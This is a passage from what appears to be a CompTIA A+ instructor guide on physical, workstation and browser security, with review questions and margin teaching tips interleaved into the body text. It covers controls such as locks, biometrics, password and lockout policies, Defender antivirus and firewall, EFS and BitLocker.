monitor who can approach the building or campus. Sites where there is a risk of a Tip
terrorist attack will use barricades such as bollards and security posts to prevent
Explain options for
vehicles from crashing into the building or exploding a bomb near it. managing the primary
Security fencing needs to be transparent (so that guards can see any attempt to entrance to a facility.
penetrate it), robust (so that it is difficult to cut), and secure against climbing (which
is generally achieved by making it tall and possibly by using razor wire). Fencing
is generally effective, but the drawback is that it gives a building an intimidating
appearance. Buildings that are used by companies to welcome customers or the
public may use more discreet security methods.

Access Control Vestibules

From the site perimeter, people should enter and leave the building through
defined entry and exit points. There may be a single entrance or separate entrances
for visitors and for staff. The main problem with a simple door as an entry
mechanism is that it cannot accurately record who has entered or left an area.
More than one person may pass through the gateway at the same time; a user may
hold a door open for the next person; an unauthorized visitor may tailgate behind
an authorized employee. This risk may be mitigated by installing a turnstile or an
access control vestibule. An access control vestibule is where one gateway leads
to an enclosed space protected by another barrier. This restricts access to one
person at a time.

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Magnetometers
Surveillance at the building entrance might be enhanced by deploying a walk-
through or handheld magnetometer. This type of metal detector is often deployed
at airports and in public buildings to identify concealed weapons or other items.

Security Guards
Human security guards can be placed in front of and around a location to protect it.
They can monitor critical checkpoints and verify identification, allow or disallow access,
and log physical entry occurrences. They also provide a visual deterrent and can apply
their own knowledge and intuition to mitigating potential security breaches.

Lock Types
Show A door lock controls entry and exit from a building, room, or other area without
Slide(s) necessarily needing a guard, depending on the risk of tailgating and piggybacking
Lock Types being an issue.

Door Lock Types

Door locks can be categorized as follows:
• Key operated—A conventional lock prevents the door handle from being
operated without the use of a key.

• Electronic—Rather than a key, the lock is operated by entering a PIN on an

electronic keypad.

• Badge reader—Some types of electronic lock work with a hardware token rather
than a PIN. The token might be a basic magnetic swipe card. A more advanced
type of lock works with a cryptographic contactless smart card or key fob.
These are much more difficult to clone than ordinary swipe cards.

Biometric and smart card locks.

Biometric Door Locks

Some types of electronic lock use a biometric scanner so that the lock can be
activated by a bio gesture:
• Fingerprint reader—This is usually implemented as a small capacitive cell that can
detect the unique pattern of ridges making up the fingerprint. The technology is
also nonintrusive and relatively simple to use, although moisture or dirt can prevent
readings, and there are hygiene issues at shared-use gateways.

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• Palmprint scanner—This is a contactless type of camera-based scanner that

uses visible and/or infrared light to record and validate the unique pattern of
veins and other features in a person’s hand. Unlike facial recognition, the user
must make an intentional gesture to authenticate.

• Retina scanner—An infrared light is shone into the eye to identify the pattern
of blood vessels. The arrangement of these blood vessels is highly complex and
typically does not change from birth to death, except in the event of certain
diseases or injuries. Retinal scanning is therefore one of the most accurate forms
of biometrics. Retinal patterns are very secure, but the equipment required is
expensive and the process is relatively intrusive and complex. False negatives
can be produced by diseases such as cataracts.

Other general issues with biometrics include privacy issues with capturing and
storing personal information and discriminatory issues involving people who cannot
make the required bio gesture.

Equipment Locks
There are several types of equipment locks that act to prevent unauthorized
physical access to servers and network appliances or prevent theft:
• Kensington locks are used with a cable tie to secure a laptop or other device to a
desk or pillar and prevent its theft.

• Chassis locks and faceplates prevent the covers of server equipment from being
opened. These can prevent access to external USB ports and prevent someone
from accessing the internal fixed disks.

• Lockable rack cabinets control access to servers, switches, and routers installed
in standard network racks. These can be supplied with key-operated or
electronic locks.

Rack cabinet with key-operated lock. (Image by Bunlue Nantaprom © 123RF.com.)

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Alarms and Surveillance

Show When designing premises security, you must consider the security of entry points
Slide(s) that could be misused, such as emergency exits, windows, hatches, grilles, and
Alarms and so on. These may be fitted with bars, locks, or alarms to prevent intrusion. Also
Surveillance consider pathways above and below, such as false ceilings and ducting. There are
three main types of alarm system:
• Circuit—A circuit-based alarm sounds when the circuit is opened or closed,
depending on the type of alarm. This could be caused by a door or window
opening or by a fence being cut.

• Motion sensors—A motion-based alarm is linked to a detector triggered by

movement within a room or other area. The sensors in these detectors are
either microwave radio reflection ( radar, for example) or passive infrared (PIR),
which detects moving heat sources.

• Proximity—Radio frequency ID (RFID) tags and readers can be used to track the
movement of tagged objects within an area. This can form the basis of an alarm
system to detect whether someone is trying to remove equipment.

• Duress—This type of alarm is triggered manually by staff if they come under

threat. A duress alarm could be implemented as a wireless pendant, concealed
sensor or trigger, or call contact. Some electronic entry locks can also be
programmed with a duress code that is different from the ordinary access code.
This will open the gateway but also alert security personnel that the lock has
been operated under threat.

Video surveillance is typically a second layer of security designed to improve the

resilience of perimeter gateways. Surveillance may be focused on perimeter areas
or within security zones themselves. This type of surveillance can be implemented
with older-style CCTV (closed-circuit television) or with IP cameras. The surveillance
system may be able to use motion detection or even facial recognition to alert staff
to intrusion attempts.
Security lighting is important in contributing to the perception that a building is
safe and secure at night. Well-designed lighting helps to make people feel safe,
especially in public areas or enclosed spaces, such as parking garages. Security
lighting also acts as a deterrent by making intrusion more difficult and surveillance
(whether by camera or guard) easier. The lighting design needs to account for
overall light levels, the lighting of particular surfaces or areas (allowing cameras to
perform facial recognition, for instance), and avoiding areas of shadow and glare.

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Review Activity:
Security Measures
6

Answer the following questions: Show

Slide(s)
Review

1. You are assisting with the design of a new campus building for a Teaching
multinational firm. On the recommendation of a security consultant, the Tip
architect has added closely spaced sculpted stone posts with reinforced Take some time at
steel cores that surround the area between the building entrance and the end of each topic
to answer questions.
the street. At the most recent client meeting, the building owner has You can use the
queried the cost of these. Can you explain their purpose? review questions
for discussion in
These bollards are designed to prevent vehicles from crashing into the building class or set them for
lobby as part of a terrorist or criminal attack. The security consultant should only students to complete
recommend the control if the risk of this type of attack justifies the expense. individually during or
after class.
2. Katie works in a high-security government facility. When she comes to
work in the morning, she places her hand on a scanning device installed
at a turnstile in the building lobby. The scanner reads her palmprint and
compares it to a master record of her palmprint in a database to verify
her identity. What type of security control is this?

Biometric authentication deployed as part of a building’s entry-control system.

3. The building will house a number of servers contained within a secure

room and network racks. You have recommended that the provisioning
requirement includes key-operated chassis faceplates. What threats will
this mitigate?

A lockable faceplate controls who can access the power button, external ports,
and internal components. This mitigates the risk of someone gaining access to
the server room via social engineering. It also mitigates risks from insider threat
by rogue administrators, though to a lesser extent (each request for a chassis key
would need to be approved and logged).

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Lesson 16
Summary
4

Show You should be able to explain common social-engineering attacks, threats, and
Slide(s) vulnerabilities; configure appropriate wireless security protocol/authentication and
Summary firewall settings on a SOHO network; and summarize physical security measures.

Teaching Guidelines for Configuring SOHO Network Security

Tip
Follow these guidelines to configure SOHO network security:
Try to include some
time at the end • Develop a knowledge base to support technicians, developers, and end-users
of each lesson to with information about common attacks, threats, and vulnerabilities:
check students’
understanding and • Vulnerabilities such as non-compliant systems, unpatched systems,
answer questions. unprotected systems (missing antivirus/missing firewall), EOL OSs,
and BYOD.

• Threats and attacks such as insider threat, DoS, DDoS, zero-day, spoofing,
on-path, brute-force, and dictionary, SQL injection, and XSS.

• Social engineering attacks such as impersonation, evil twin, phishing, vishing,

whaling, shoulder surfing, tailgating, and dumpster diving.

• Create a home-router deployment checklist to ensure secure and reliable

configuration such as physical placement, change default passwords, static WAN
IP, firmware update, changing SSID, disabling SSID broadcast, changing channels,
encryption mode (WPA2 and TKIP or AES versus WPA3), and disabling guest
access.

• Create a home-router firewall configuration checklist that includes disabling

unused ports, IP filtering, content filtering, port forwarding/mapping, DHCP
reservations, UPnP, and screened subnet.

• Consider the requirements for upgrading wireless authentication to use

enterprise methods such as multifactor and RADIUS/TACACS+/Kerberos.

• Document building and campus physical security methods to guide selection of

appropriate controls:

• Bollards, fences, access control vestibules, magnetometers, and guards.

• Alarm systems, motion sensors, video surveillance, lighting.

• Door and equipment locks (badge reader, key fobs, smart cards, keys, and
retina/fingerprint/palmprint biometric scanners.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

Lesson 16: Configuring SOHO Network Security

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 Lesson 17
Managing Security Settings
1

LESSON INTRODUCTION
Firewalls provide a security border around a network, but this secure border is not Show
sufficient to protect against insider threat, advanced malware, or sophisticated Slide(s)
threat-actor tactics and techniques. Most organizations deploy defense in depth Objectives
controls to ensure that each endpoint—computer, laptop, smartphone, or tablet—is
deployed in a hardened configuration in terms of both the OS and the web browser Teaching
software. Tip
Despite best efforts to assess risks and deploy countermeasures, most networks This lesson continues
the security theme by
will suffer from security incidents. As a CompTIA A+ technician, you will need to be focusing on security
able to use best practice methods and tools to identify and eliminate malware and controls for individual
other intrusions to minimize the impact of these incidents. workstations and
browser software.

Lesson Objectives
In this lesson, you will:
• Configure workstation security.

• Configure browser security.

• Troubleshoot workstation security issues.

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Topic 17A
Configure Workstation Security
Show
Slide(s)
2

Configure Workstation CORE 2 EXAM OBJECTIVES COVERED

Security
2.5 Given a scenario, manage and configure basic security settings in the Microsoft
Windows OS.
Teaching
2.6 Given a scenario, configure a workstation to meet best practices for security.
Tip
This topic covers
As a CompTIA A+ technician, you need to make yourself aware of the latest
typical workstation
security controls, developments and best practices to use to secure systems. You will need to ensure
such as account that common security controls are installed and configured on each workstation.
management/ These controls include antivirus, firewall, encryption, and account policies.
policies, antivirus, host
firewalls, and disk/file
encryption. Password Best Practices
Show One of the first pillars of workstation security is ensuring that only authorized
Slide(s) users can operate the computers connected to the network. Effective user security
Password Best depends on strong credential management, effective account policies, and best
Practices practice end-user behavior.

Teaching
Password-based authentication systems have a long history of vulnerability. Some
Tip
of this ineffectiveness is due to inadequate technologies and some due to poor user
password practice. As not all companies can make the switch to multifactor sign-in,
Remind students
that complexity
password best practice is still a key security requirement.
requirements are The biggest vulnerability of knowledge factor authentication to cyberattack is the
necessary to mitigate
use of weak passwords. A threat actor might use dictionary files containing popular
risks from brute force
and dictionary attacks, words and phrases or strings from breached password databases to compromise
but do note that account credentials. Once a threat actor obtains a password, she or he can gain
the status of some access to a system posing as that person.
of these attributes
as best practice is Password Rules
no longer firmly
established. The following rules are easy for users to apply and make passwords more difficult
Length is preferable to crack:
to use of highly cryptic
mixing of character • Make the password sufficiently long—12+ character length is suitable for an
types. Requiring a ordinary user account. Administrative accounts should have longer passwords.
mix of character
types forces users • Choose a memorable phrase, but do not use any personal information—
into selecting easily Anything that a threat actor could discover or guess should not be used in
masked substitutions a password. This includes things such as significant dates, family names,
(zero for oh, for username, job title, company name, pet name, quotations, and song lyrics.
instance) or makes
passwords impossible Some password policies impose complexity requirements beyond minimum
to remember and
causes users to write
length. Rules might specify that the password must contain a given mix of character
them down. The latest types: uppercase and lowercase letters, numbers, and symbols. A password policy
NIST guidance also may have an expiration requirement, which means that the user must change the
deprecates password password after a set period.
expiration except
when a breach is
discovered.

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Using the local Group Policy editor to view password policies. (Screenshot courtesy of Microsoft.)

Character complexity and expiration is deprecated by some standards bodies. Teaching

These rules can make it harder for users to select good passwords and encourage Tip
poor practice, such as writing the password down. BIOS/UEFI passwords
are also covered
BIOS/UEFI Passwords in Core 1. Remind
students that there
A system user password is one that is required before any operating system can are supervisor (access
boot. The system password can be configured by the basic input/output system to system setup)
(BIOS) or unified extensible firmware interface (UEFI) setup program. This type and user (boot the
system) password
of firmware-configured password is shared by all users and consequently is very types. You might also
rarely used. It might be used to provide extra security on a standalone computer want to mention pre-
that does not often require interactive logon, such as a computer used to manage boot authentication
embedded systems. A PC with UEFI firmware may support pre-boot authentication. systems. These
This means that the system loads an authentication application to contact an authenticate individual
authentication server on the network and allows the user to submit the credentials users rather than
just making the
for a particular account. user supply a device
password.
The system user password just allows the computer to proceed with the boot process.
A system/supervisor password protects access to the firmware system-setup program.
Configuring a user password requires a supervisor password to be set too.

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End User Best Practices

Show Good password practice should be supplemented with secure use of the
Slide(s) workstation. Some key principles are as follows:
End User Best • Log off when not in use—A lunchtime attack is where a threat actor is
Practices able to access a computer that has been left unlocked. Policies can configure
screensavers that lock the desktop after a period of inactivity. Users should not
depend on these, however. In Windows, START+L locks the desktop. Users must
develop the habit of doing this each time they leave a computer unattended.

• Secure/protect critical hardware (such as laptops)—Users must also be alert

to the risk of physical theft of devices. Portable computers can be secured to a
desk using a cable lock. When in public, users must keep laptop cases in sight.

• Secure personally identifiable information (PII) and passwords—Paper

copies of personal and confidential data must not be left where they could be
read or stolen. A clean desk policy ensures that all such information is not left in
plain sight. Also, this type of information should not be entered into unprotected
plain text files, word processing documents, or spreadsheets.

Personal data is typically protected by regulations and legislation. Making any sort of
unauthorized copy of this data is often illegal. It should only typically be stored and
processed in systems that are configured and monitored by a data owner.

Account Management
Show Account management policies are used to determine what rights and privileges
Slide(s) each employee should be assigned. These policies should be guided by the principle
Account Management
of least privilege.

Teaching Restrict User Permissions

Tip
An OS’s access control system assigns two types of permissions to a user account:
Remind students that
permission and rights • File permissions control whether a user can read or modify a data file or folder,
assignment should be either on the local PC or across the network. Configuring file permissions is the
based on the principle responsibility of the data owner or file server administrator.
of least privilege.
• Rights or privileges control what system configuration changes a user can make
to a PC. Configuring rights is the responsibility of the network owner.

Some networks have complex requirements for assigning rights, but the basic
principle is that the number of accounts with administrator/superuser privileges
should be as few as possible. These highly privileged accounts should be further
protected by features such as UAC and sudo. For both file permissions and rights, a
system of least privilege will be most effective in reducing risk.

Change Default Administrator Account and Password

The root or superuser in Linux or the Administrator user account in Windows is
the default system owner. These default accounts have no practical limitations and
consequently are the ultimate target for threat actors. In many cases, these default
accounts are disabled during the OS installation and their privileges exercised by
named administrator accounts using tools such as UAC and sudo.

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If the default administrator account cannot be disabled, it must never be left

configured with a default password. The new password must be treated with
highest level of security available. Ideally, the password should be known by one
person only. Sharing administrative passwords is a security risk.
Any use of the default administrator account must be logged and accounted for.
Using this account for sign-in should be an unusual event that generates an alert.
For separation of duties, the person operating the default administrator account
must not be able to disable this accounting.

Disable Guest Account

A guest account allows unauthenticated access to the computer and may provide
some sort of network access too. In current versions of Windows, the Guest account
is disabled by default and cannot be used to sign-in. It is only enabled to facilitate
passwordless file sharing in a Windows workgroup. You should monitor other
operating systems and features such as guest Wi-Fi and disable them if they do not
comply with security policies.

Account Policies
Account policies supplement best practice behavior by enforcing requirements as Show
controls imposed by the OS. On a standalone workstation, password and account Slide(s)
policies can be configured via the Local Security Policy snap-in (secpol.msc) or
Account Policies
the Group Policy Editor snap-in (gpedit.msc). On a Windows domain network,
settings can be defined as group policy objects (GPO) and applied to groups of user Teaching
and computer accounts within domains and organizational units (OUs). Tip
Explain that these
These tools are not available in the Home edition of Windows. options can be
configured as policies,
either on a local
workstation or via a
group policy targeting
a domain or OU.
• Restrict login times—This is typically used to prevent an account from logging
in at an unusual time of the day or night or during the weekend. Periodically,
the server checks whether the user has the right to continue using the network.
If the user does not have the right, then an automatic logout procedure
commences.

• Failed attempts lockout—This specifies a maximum number of incorrect

sign-in attempts within a certain period. Once the maximum number of
incorrect attempts has been reached, the account will be disabled. This
mitigates the risk of threat actors gaining system access using lists of
possible passwords.

• Concurrent logins—This sets a limit to the number of simultaneous sessions

a user can open. Most users should only need to sign-in to one computer at a
time, so this sort of policy can help to prevent or detect misuse of an account.

• Use timeout/screen lock—This locks the desktop if the system detects no

user-input device activity. This is a sensible, additional layer of protection.
However, users should not rely on this and must lock the computer manually
when leaving it unattended.

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If a user account violates a security policy, such as an incorrect password being

entered repeatedly, it may be locked against further use. The account will be
inaccessible until it is unlocked by setting the option in the Properties dialog box
on the Account tab.

Using the Properties dialog box to unlock a user account. (Screenshot courtesy of Microsoft.)

If a user forgets a password, you can reset it by right-clicking the account and
selecting Reset Password.

Execution Control
Show Authentication and authorization policies give subjects the right to sign-on
Slide(s) to a computer and network and (potentially) to make changes to the system
Execution Control configuration. This places a certain amount of trust in the user to exercise those
rights responsibly. Users can act maliciously, though, or could be tricked into an
adverse action. Execution control refers to logical security technologies designed
to prevent malicious software from running on a host regardless of what the user
account privileges allow. Execution control can establish a security system that does
not entirely depend on the good behavior of individual users.

Trusted/Untrusted Software Sources

To prevent the spread of malware such as Trojans, it is necessary to restrict the
ability of users to run unapproved program code, especially code that can modify
the OS, such as an application installer. Windows uses the system of Administrator
and Standard user accounts, along with User Account Control (UAC) and system
policies, to enforce these restrictions.

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Developers of Windows applications can use digital certificates to perform code

signing and prove the authenticity and integrity of an installer package. Linux also
prompts when you attempt to install untrusted software. Software is signed with
a cryptographic key. Packages need the public key for the repository to install the
software. When prompted that you are installing untrusted software, you can either
respond that you want to install it anyway or cancel the installation.
Mobile OS vendors use this “walled garden” model of software distribution as
well. Apps are distributed from an approved store, such as Apple’s App Store or
the Windows Store. The vendor’s store policies and procedures are supposed to
prevent any Trojan-like apps from being published.
There are also third-party network management suites to enforce application
control. This means configuring blocklists of unapproved software (allowing
anything else) or allowlists of approved software (denying anything else).

AutoRun and AutoPlay

One of the problems with legacy versions of Windows is that when an optical disc is
inserted or a USB drive is attached, Windows would automatically run commands
defined in an autorun.inf file stored in the root of the drive. A typical autorun.inf
would define an icon for a disk and the path to a setup file. This could lead to
malware being able to install itself automatically.
In modern versions of Windows, an AutoPlay dialog box is shown, prompting the
user to take a particular action. AutoPlay settings can be configured via a drive’s
property dialog box. Also, UAC will require the user to explicitly allow any executable
code to run. There is a Windows Settings page to configure default AutoPlay actions.

Configuring AutoPlay. D3300 is a digital camera that has been connected to the computer
previously. (Screenshot courtesy of Microsoft.)

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Windows Defender Antivirus

Show Even with UAC and execution control, there are still plenty of ways for malware
Slide(s) to install to the PC. A program might use particularly effective social engineering
Windows Defender techniques to persuade the user to bypass the normal checks. The malware might
Antivirus exploit a vulnerability to execute without explicit consent. Malware might also not
need to install itself to achieve threat-actor objectives, such as exfiltrating data
Teaching weakening the system configuration or snooping around the network.
Tip
Antivirus (A-V) is software that can detect malware and prevent it from executing.
It’s covered elsewhere,
but remind students
The primary means of detection is to use a database of known virus patterns called
that OS and app definitions, signatures, or patterns. Another technique is to use heuristic identification.
updates are also an “Heuristic” means that the software uses knowledge of the sort of things that viruses do
essential component to try to spot (and block) virus-like behavior. Most antivirus software is better described
of workstation as anti-malware, as it can detect software threats that are not technically virus-like,
security. PCs should including spyware, Trojans, rootkits, ransomware, and cryptominers.
be monitored for
update failures. The broad range of threats posed by different types of malware and vulnerability
exploits mean that an anti-malware software solution is a critical component
of workstation security. Windows Defender Antivirus is a core component of
all Windows editions. Windows Defender Antivirus is managed via the Windows
Security Center.

Windows Defender Antivirus configuration page within the Windows Security app.
(Screenshot courtesy of Microsoft.)

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Windows Defender Antivirus Updated Definitions

It is particularly important that antivirus software be updated regularly. Two types
of updates are generally necessary:
• Definition/pattern updates are information about new viruses or malware.
These updates may be made available daily or even hourly.

• Scan engine/component updates fix problems or make improvements to the

scan software itself.

For Windows Defender Antivirus, these definitions and patches are delivered
via Windows Update. Third-party software might also integrate its updates with
Windows Update, or it might use its own updater.

Activating and Deactivating Windows Defender Antivirus

The nature of malware means that there should be no simple means of deactivating
an antivirus product, or the malware could easily circumvent it. Defender Antivirus
can be disabled temporarily by toggling the Real-time protection button. It will
re-activate itself after a short period.
If a third-party antivirus product is installed, it will replace Windows Defender
Antivirus. It can also be permanently disabled via group policy.

The Real-time protection setting can be toggled off to disable Windows Defender
Antivirus temporarily. (Screenshot courtesy of Microsoft.)

It might be necessary to exclude folders from scanning. For example, scanning

the disk images of virtual machines can cause performance problems. Also, some
legitimate software or development code can trigger false-positive alerts. Folders
containing this type of data can be excluded from scanning.
It is important to check the status of the antivirus product regularly to ensure that it
is activated and up to date.

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Windows Defender Firewall

Show Where the antivirus product protects against threats in the file system, Windows
Slide(s) Defender Firewall implements a personal/host firewall to filter inbound and
Windows Defender outbound network traffic. The basic Settings app interface allows you to activate or
Firewall deactivate the firewall for a given network profile and to add exceptions that allow a
process to accept inbound connections.
The Windows Defender Firewall with Advanced Security console allows
configuration of custom inbound and outbound filtering rule. For each profile type,
the default inbound and outbound policy can be set to block or allow. Each rule can
be configured as a block or allow action to override the default policy for trigger
ports, applications, and/or addresses:
• Port security triggers are based on the Transmission Control Port (TCP) or User
Datagram Protocol (UDP) port number used by the application protocol. For
example, blocking TCP/80 prevents clients from connecting to the default port
for a web server.

• Application security triggers are based on the process that listens for
connections.

• Address triggers are based on the IP or FQDN of the server or client hosts.

The Advanced Firewall can be configured through group policy on a domain. On a

standalone PC or workgroup, open the wf.msc management console. On the status
page, you can click Windows Defender Firewall properties to configure each
profile. The firewall can be turned on or off, and you can switch the default policy
for inbound and outbound traffic between Block and Allow.

Windows Defender Firewall with Advanced Security—Profile Settings.

(Screenshot courtesy of Microsoft.)

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Block stops traffic unless a specific rule allows it. Conversely, Allow accepts all traffic
unless a specific rule blocks it. You can also use Block all connections to stop inbound
connections regardless of the rules set up.

From the main Advanced Firewall console, you enable, disable, and configure rules
by selecting in the Inbound Rules or Outbound Rules folder as appropriate.

Configuring inbound filtering rules in Windows Firewall with Advanced Security.

(Screenshot courtesy of Microsoft.)

Encrypting File System

When data is hosted on a file system, it can be protected by the operating system’s Show
security model. Each file or folder can be configured with an access control list Slide(s)
(ACL), describing the permissions that principals have on the file. These permissions
Encrypting File
are enforced only when the OS mediates access to the device. If the disk is System
exposed to a different OS, the permissions could be overridden. Data on persistent
storage—HDDs, SSDs, and thumb drives—is referred to as data-at-rest. To protect Teaching
data-at-rest against these risks, the information stored on a disk can be encrypted. Tip
Explain that
Data-at-rest contrasts with information sent over a network (data-in-transit) and encryption mitigates
information stored in nonpersistent CPU registers, cache, and system RAM (data-in-use). risks from a lost
or stolen device/
disk. Explain that
access controls (NTFS
permissions) only
One approach to protecting file system data is to apply encryption to individual operate properly if
files or folders. The Encrypting File System (EFS) feature of NTFS supports file and access to the disk is
folder encryption. EFS is not available in the Home edition of Windows. managed by the OS.
If the disk is mounted
under a foreign OS,
these controls can be
overridden.
Remind students that
these features are not
available in the Home
edition.

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To apply encryption, open the file’s or folder’s property sheet and select the
Advanced button. Check the Encrypt contents box, then confirm the dialogs.

Applying encryption to a folder using EFS. (Screenshot courtesy of Microsoft.)

Folders and files that have been encrypted can be shown with green color coding in
Explorer. Any user other than the one who encrypted the file will receive an “Access
Denied” error when trying to browse, copy, or print the file.

A file that has been encrypted cannot be opened by other users—even administrators.
(Screenshot courtesy of Microsoft.)

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Without strong authentication, encrypted data is only as secure as the user account
password. If the password can be compromised, then so can the data. The user’s
password grants access to the key that performs the file encryption and decryption.
There is also the chance of data loss if the key is lost or damaged. This can happen
if the user’s profile is damaged, if the user’s password is reset by an administrator,
or if Windows is reinstalled. It is possible to back up the key or (on a Windows
domain) to set up recovery agents with the ability to decrypt data.

Windows BitLocker and BitLocker To Go

An alternative to file encryption is to use a full disk encryption (FDE) product. Show
The Windows BitLocker disk encryption product is available with all editions of Slide(s)
Windows except for the Home edition. Windows BitLocker
Full disk encryption carries a processing overhead, but modern computers usually and BitLocker To Go
have processing capacity to spare. The main advantage is that it does not depend
on the user to remember to encrypt data. Disk encryption also encrypts the swap
file, print queues, temporary files, and so on.

Configuring BitLocker and BitLocker To Go via the Control Panel.

(Screenshot courtesy of Microsoft.)

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BitLocker can be used with any volumes on fixed (internal) drives. It can also be
used with removable drives in its BitLocker To Go form.

Removable drive protected with BitLocker To Go. (Screenshot courtesy of Microsoft.)

When the data is encrypted, the user must have access to the encryption key to
access it. BitLocker can make use of a trusted platform module (TPM) chip in the
computer to tie use of a fixed disk to a particular motherboard. The TPM is used as
a secure means of storing the encryption key and to ensure the integrity of the OS
used to boot the machine. Alternatively, the key could be stored on a removable
smart card or on a USB stick. The computer’s firmware must support booting from
USB for the last option to work.

The TPM must be configured with an owner password (often the system password set
in firmware). You can manage TPM settings from Windows using the TPM Management
snap-in (select TPM Administration from the BitLocker applet).

During BitLocker setup, a recovery key is also generated. This should be stored on
removable media (or written down) and stored securely (and separately from the
computer). This key can be used to recover the encrypted drive if the startup key
is lost.

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Review Activity:
Workstation Security
3

Answer the following questions: Show

Slide(s)
Review

1. True or false? An organization should rely on automatic screen savers to Teaching

prevent lunchtime attacks. Tip
Take some time at
False. A lunchtime attack is where a threat actor gains access to a signed-in user the end of each topic
account because the desktop has not locked. While an automatic screensaver lock to answer questions.
provides some protection, there may still be a window of opportunity for a threat You can use the
review questions
actor between the user leaving the workstation unattended and the screensaver for discussion in
activating. Users must lock the workstation manually when leaving it unattended. class or set them for
students to complete
2. What type of account management policy can protect against password- individually during or
guessing attacks? after class.

A lockout policy disables the account after a number of incorrect sign-in attempts.

3. A security consultant has recommended more frequent monitoring of

the antivirus software on workstations. What sort of checks should this
monitoring perform?

That the antivirus is enabled, is up to date with scan engine components and
definitions, and has only authorized exclusions configured.

4. You are completing a checklist of security features for workstation

deployments. Following the CompTIA A+ objectives, what additional
item should you add to the following list, and what recommendation for
a built-in Windows feature or features can you recommend be used to
implement it?

• Password best practices

• End-user best practices

• Account management

• Change default administrator’s user account/password

• Disable AutoRun/AutoPlay

• Enable Windows Update, Windows Defender Antivirus, and Windows

Defender Firewall

Data-at-rest encryption. In Windows, this can be configured at file level via the
Encrypting File System (EFS) or at disk level via BitLocker.

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Topic 17B
Show
Slide(s) Configure Browser Security
Configure Browser
5

Security
CORE 2 EXAM OBJECTIVES COVERED
Teaching 2.10 Given a scenario, install and configure browsers and relevant security settings.
Tip
This topic covers
browser selection and
security configuration. The web browser has become one of the most important types of software on a
Discuss the centrality computer. As well as viewing basic sites, it is frequently used as the interface for
of the browser to many types of web/cloud apps. Browsers often work in a protected sandbox and
modern computing need to be managed almost like a secondary OS. Understanding the installation
as web/cloud apps and configuration issues will enable you to provision a secure platform for users to
start to replace
access cloud- and web-based services.
locally installed
software. Remind
students of Chrome
OS—essentially a
Browser Selection and Installation
secure browser as the Microsoft’s Internet Explorer (IE) used to be dominant in the browser market, but
operating system.
alternatives such as Google’s Chrome, Mozilla Firefox, and Opera have replaced
Show it. IE itself is no longer supported. Edge, Microsoft’s replacement browser, now
Slide(s) uses the same underlying Chromium codebase as Google Chrome. Apple’s Safari
Browser Selection
browser is tightly integrated with macOS and iOS.
and Installation In some scenarios, it might be appropriate to choose a browser that is different
from these mainstream versions. Alternative browsers may claim to feature strong
Teaching
privacy controls, for instance.
Tip
Explain how to Trusted Sources
verify software from
a trusted source, As the browser is a security-critical type of software, it is particularly important to
mentioning signed
use a trusted source, such as an app store. If installed as a desktop application,
software publishers in
Windows, GPG signing care should be taken to use a reputable vendor. The integrity of the installer should
and verification for also be verified, either by checking the vendor’s code-signing certificate or by
Linux, and how to manually comparing the hash file published by the developer with one computed
manually verify a for the download file.
hash.
Discuss how a browser
might derive from an
untrusted source, such
as new PC bloatware,
one installed as
adware along with
another app or game,
or one installed
by a user without
authorization.

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Untrusted Sources
Using a browser from an untrusted source where the installer cannot be verified
through a digital signature or hash is a security risk and likely to expose the user to
unwanted adverts, search engines, and even spyware and redirection attacks. Some
PC vendors bundle browsers that promote various types of adware. Though it is
less common these days, such bloatware should be uninstalled as part of deploying
a new PC. Adware browsers are also often bundled with other software, either
covertly or as a checkable option. This type of potentially unwanted application
(PUA) should also be removed from the computer.

Software that cannot definitively be classified as malicious but that does have increased
privacy risks is often categorized as a potentially unwanted application (PUA).

Browser Extensions and Plug-ins

A browser add-on is some type of code that adds to the basic functionality of the Show
software. Add-ons come in several different types: Slide(s)
• Extensions add or change a browser feature via its application programming Browser Extensions
interface (API). For example, an extension might install a toolbar or change and Plug-ins
menu options. The extension must be granted specific permissions to make Teaching
configuration changes. With sufficient permissions, they can run scripts to Tip
interact with the pages you are looking at. These scripts could compromise
Discuss types of
security or privacy, making it essential that only trusted extensions be installed. extensions/plug-ins,
usually collectively
• Plug-ins play or show some sort of content embedded in a web page, such as Flash, referred to as add-
Silverlight, or other video/multimedia format. The plug-in can only interact with the ons. The definitions
multimedia object placed on the page, so it is more limited than an extension, in used here follow
theory. However, plug-ins have been associated with numerous vulnerabilities over Mozilla Firefox’s,
the years and are now rarely used or supported. Dynamic and interactive content is but do note that
now served using the improved functionality of HTML version 5. browser vendors can
use this terminology
slightly differently (for
• Apps support document editing in the context of the browser. They are
example, Edge refers
essentially a means of opening a document within a cloud app version of a word to extensions/add-ons
processor or spreadsheet. interchangeably and
doesn’t refer to plug-
• Default search provider sets the site used to perform web searches directly ins, while Chrome just
from the address bar. The principal risk is that a malicious provider will redirect refers to extensions
results to spoofed sites. and themes). Explain
that browser vendors
• Themes change the appearance of the browser using custom images and color operate add-on
schemes. The main risk from a malicious theme is that it could expose the marketplaces.
browser to coding vulnerabilities via specially crafted image files.

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Any extension or plug-in could potentially pose a security and/or privacy risk.
As with the browser software itself, you must distinguish between trusted and
untrusted sources when deciding whether to install an add-on. Each browser
vendor maintains a store of extensions, apps, and themes. This code should be
subjected to a review process and use signing/hashing to ensure its integrity. There
are instances of malicious extensions being included in stores, however.

The Google Chrome web store provides an official location for publishing extensions and themes.
(Screenshot courtesy of Google, a trademark of Google LLC.)

Browser Settings
Show Each browser maintains its own settings that are accessed via its Meatball (…) or
Slide(s) Hamburger ( ) menu button. Alternatively, you can open the internal URL, such as
Browser Settings chrome://settings, edge://settings, or about:preferences
(Firefox). The settings configure options such as startup and home pages, tab
behavior, and choice of search engine and search behavior.

The Internet Explorer browser is configured via the Internet Options applet. IE is usually
installed by default and might be used for compatibility with company intranets that
have not been upgraded to more modern technologies. IE should not be used for
general web browsing or to access modern web applications.

Browsers also have advanced settings that are accessed via a URL such as
chrome://flags or about:config.

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Sign-in and Browser Data Synchronization

A browser sign-in allows the user to synchronize settings between instances of the
browser software on different devices. As well as the browser settings, items that
can be synced include bookmarks, history, saved autofill entries, and passwords.

Sync settings in a Microsoft Edge browser profile. (Screenshot courtesy of Microsoft.)

Password Manager
A typical user might be faced with having to remember dozens of sign-ins for
different services and resort to using the same password for each. This is unsecure
because just one site breach could result in the compromise of all the user’s digital
identities. Each major browser now supports password manager functionality.
This can suggest a strong password at each new account sign-up or credential reset
and autofill this value when the user needs to authenticate to the site. If the user
signs-in to the browser, the passwords will be available on each device.
One drawback of password managers is that not all sites present the sign-in form in
a way that the password manager will recognize and trust as secure. Most of them
allow you to copy and paste the string as a fallback mechanism.

